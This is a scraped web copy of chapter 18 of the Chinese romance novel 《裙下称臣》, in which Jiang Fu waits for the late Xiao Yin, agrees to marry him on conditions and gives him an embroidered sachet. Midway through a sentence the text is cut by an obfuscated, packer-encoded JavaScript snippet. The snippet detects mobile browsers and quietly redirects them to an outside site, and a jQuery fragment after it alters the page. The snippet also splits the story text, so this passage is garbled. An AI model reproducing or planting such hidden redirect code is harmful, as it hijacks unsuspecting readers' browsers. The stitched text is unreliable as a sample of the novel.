18. 第 18 章
作品:《裙下称臣》 十日转瞬即逝,到了约定的日子,江芙如期前往望江阁。
她到的比约定的时间还要早一些,报上名讳后,小二恭敬地将她引到楼上雅间,沏上一壶茶,道:“这是上好的铁观音,娘子先润润喉,有什么事只管吩咐小的们。”
江芙低声道谢,打赏了几两碎银,让他去外头侯着。
四下无人,她这才稍稍放松些,抬头打量起周遭的环境。
雅间不大,布置得也即为简单,一张小几,一方书案,还有几个权作装点的画卷花瓶,此外再无他物,从门口看过去,可谓一览无余。
来之前她想了很久,甚至想过,要不干脆不来了。萧隐的进展太快,叫她措手不及。
虽翻来覆去想了十日,但江芙总觉得,还有许多事没想清楚。
纠结了半天,她还是坐到这儿了。
江芙转了转茶杯,微晃的水面清晰的倒映出她的面容,以及鬓边一枝,她出门前特意簪上去的山茶花。
她转过头去,不想再看,思索着等会儿萧隐来了该说什么,岂料这一想就是大半个时辰,已经过了约定的时间,萧隐却还没出现。
他约她来此,自己却爽约吗?
江芙有些不虞,却又想到,前几日府中女眷闲聊时,郭氏说近日东宫不知在忙些什么,上上下下都调动起来了,还叮嘱在刚入朝的大表兄找机会露露脸。
肖译是太子门客,又得重用,许是被什么公务绊住了脚,也未可知。
这么想着,她心头的气就散了许多,耐着性子一等再等,本想再过半个时辰就走,每次要走时,却又想要不再等等,最后直到日近黄昏,斜晖半洒,也不见人影。
来时上的那壶茶已经凉了,小二来换了好几次,糕点也都硬了。
江芙气闷,扯下那朵已经蔫了的山茶花往地上一扔,心道她就不该信萧隐的鬼话,没准他就是随口一说,压根没放心上,她却白白在这儿等了一天,叫人看笑话。
山茶花骨碌碌滚到门口,江芙起身欲走,门却突然开了。
萧隐推门进来,衣衫上尚带急行过后的尘气,他进了屋,第一眼便看到那朵滚到他脚边的山茶,而后视线向上,是气鼓鼓的江芙。
他顿了顿,掩上门,将花别到自家腰间,立刻态度很好地道歉:“抱歉,江娘子,我来迟了。”
江芙冷眼看他,道:“不迟,肖公子这会儿来,刚好能用个晚膳。”
她说罢,就想越过他离开,萧隐却眼疾手快,扣住了她的手腕,将她往自己身前一扯,低声哄道:“我真的知错了江娘子,实在是公务缠身,推脱不开,就这一次,娘子大人大量,饶过我吧。”
伸手不打笑脸人,他态度如此之好,江芙也不好再说什么,别别扭扭地随他坐下,道:“就算真走不开,你也该差人和我知会一声。”
萧隐顿时懊恼道:“是我的错,今日太子突然召我等议事,我原想着过会儿就能结束,就没和江娘子说,谁料那帮老臣你一言我一语,硬生生拖到这个时辰。”
这次他倒没说谎,今日议事确实是他临时起意,结果几个老臣个个推卸责任,萧隐大为不悦,用了些手段整治,等再想起江芙的事早已过了时辰,这才匆忙赶了过来。
他来时心情不算好,也知道等了这么久,江芙或许已经走了,能再见到她属实是意外之喜。
萧隐笑眯眯看着江芙,心道怎么会有人如此可爱,会讨他欢心。
得了解释,江芙脸色好了许多,道:“就这一次。”
萧隐立刻保证道:“只这一次。”
他心知自己理亏,又有求于江芙,态度做得很好,见她茶碗空了,立刻续上一碗,等江芙喝了后,才问:“那日所提之事,江娘子考虑得如何了?”
江芙脸一红,嘴硬道:“本来是考虑好了的,今日见了肖公子,又不确定了。”
萧隐道:“怎么讲?”
江芙看向他,面无表情:“第一次就迟到这样久,以后可怎么是好?”
萧隐琢磨了一下这句话,抚掌笑道:“看来江娘子是答应我了。”
江芙道:“我没有!”
“没有吗?”萧隐一脸无辜,细细和她分析,“江娘子方才说‘以后’,不就是说,像今日这般的约会,还会有第二次,第三次,无数次吗?”
江芙恼道:“我是叫你别迟到!谁和你说还有第二次,第三次,无数次了?”
若没有下次,还怎么迟到呢?萧隐忍笑:“好啦好啦,是我会错意了,江娘子消消气。”
和这人说话总是拳头打在棉花上,江芙侧过头,不愿看他,道:“你有时候真的很烦。”
萧隐从善如流道:“‘有时候’,那说明我大部分时间还是讨江娘子喜欢的。”
江芙被他堵的一个字都不想说了,似乎不管说什么,都会被他扯到他想理解的意思上去。
萧隐道:“那江娘子到底是如何想的呢?”
江芙搁在膝头的手微微蜷缩,没有作声。
萧隐也不催她,果然,没过一会儿,江芙开口道:“我可以答应你,但有几个条件我说在前头,你若不能接受,直接和我说便是,我们两不耽搁。”
萧隐立时正襟危坐,道:“江娘子请讲。”
江芙深吸一口气,缓缓道:“你也知道,我家中长辈早亡,父亲为官清廉,没留下什么钱财,我带不了多少嫁妆,这个提前和你说好。”
这又不是什么大事,萧隐一笑:“好。”
“我家中还有一个妹妹,成婚之后,我要接妹妹过来同住,她很乖巧,我希望你能真心接纳她。”
萧隐不喜欢小孩儿,但他想象了下一个和江芙长得差不多的小孩在院子里跑来跑去的画面,觉得这也可以接受,便道:“自然,你妹妹也是我妹妹。”
江芙脸微微一红,继续道:“还有一件事,很重要。”
她抬眸看向萧隐,眼睛亮晶晶的,带着几分大胆,几分羞怯:“我是真心喜欢你,想与你共度一生。夫妻之间,重在信任,我希望以后你我能坦诚相待,无欺无瞒。我有什么事,都会告诉你的,也希望你能这样对我。”
说到这里,她似是十分不好意思了,微微垂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032511|194132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下眸。
萧隐看着她,顿了下,然后道:“可以。”
他把玩着腰间玉佩,不知为何,有点想离开此处。
眼前突然出现一个香囊。
萧隐的目光最先落在那双捧着香囊,肌骨莹润的手上,然后才拿起香囊,问:“这是什么?”
江芙轻声道:“我听闺中姐妹说过,男女间若确定了心意,女子都会赠送男子亲手所绣的香囊,我绣工不精,这个你先将就一下,等我回去再练练,给你绣个更好的。”
萧隐将那香囊翻来覆去看了两眼,随口道:“怎么是鹏程万里,送情郎不该都是什么并蒂莲,鸳鸯戏水吗?”
江芙第一次出手,哪好意思送那么露骨的东西,绣个鹏程万里已经是极限了,偏偏还被人问了,她咬咬唇,道:“你到底要不要,不要还我。”
萧隐这才笑开,道:“娘子所赠,我自然日日携带,片刻都不离身。”
他将那香囊在腰间虚晃两下,想了想,还是不带上去了,江芙却在此时伸出手来,取过香囊,动作轻巧地穿过腰带,将它牢牢系在萧隐腰间。
萧隐呼吸微滞,待江芙做好这一切后,下意识捉住她的手。
江芙脸红得都快滴血了,低声道:“肖公子……”
萧隐拉着那只莹白如玉的手,心痒无比,但想了想,只是在她手背落下一吻。
江芙微微一颤。
他顺着那只手,从指尖把玩到手腕,过了一会儿,才松开,道:“情难自禁,抱歉,冒犯了。”
酥麻的触感仍停留在腕上,江芙将手掩在袖下,稍稍撇过头。
萧隐吐出一口浊气,看着江芙,突然很想靠近她。
他这么想,便也这么做了,俯身过去,将头轻轻靠在她颈窝,几乎呼吸相闻。
离得太近,他能嗅到江芙发间淡淡的皂角味儿,此外似乎还混杂了些别的什么,他闻不出来,便问道:“你熏香了吗?”
温热的呼吸喷在颈侧,江芙耳根泛红,侧头向相反的方向,道:“没有。”
顿了顿,忍不住道:“我身上有什么奇怪的味道吗?”
不应该啊,她来之前洗过澡的。
一句话彻底破坏了旖旎的气氛,萧隐乐不可支,从她身上起来,摆手道:“不,没有。”
江芙瞪他一眼,被他搞得有些摸不着底,低头嗅了嗅袖口,道:“我闻着没什么味道啊。”
她一贯不爱用熏香头油这些东西,身上从来都是干干净净的,这会儿被萧隐一说,真有点慌了。
萧隐按下她的手,道:“没有,很好闻。”
江芙猜测道:“是桃花的香气吧?”这几日府上桃花开了,江芙取了些回去蒸糕点。
萧隐摸了摸下巴,道:“或许。”
其实不是。
那香气不肖似他闻过的任何一种花香、果香,熏香,而是一种淡淡的,清甜的味道。
他只在江芙身上闻到过。
他有心想再探究下那到底是什么,江芙却警惕得很,生怕自己身上真的沾了怪味,不肯让他靠近了。

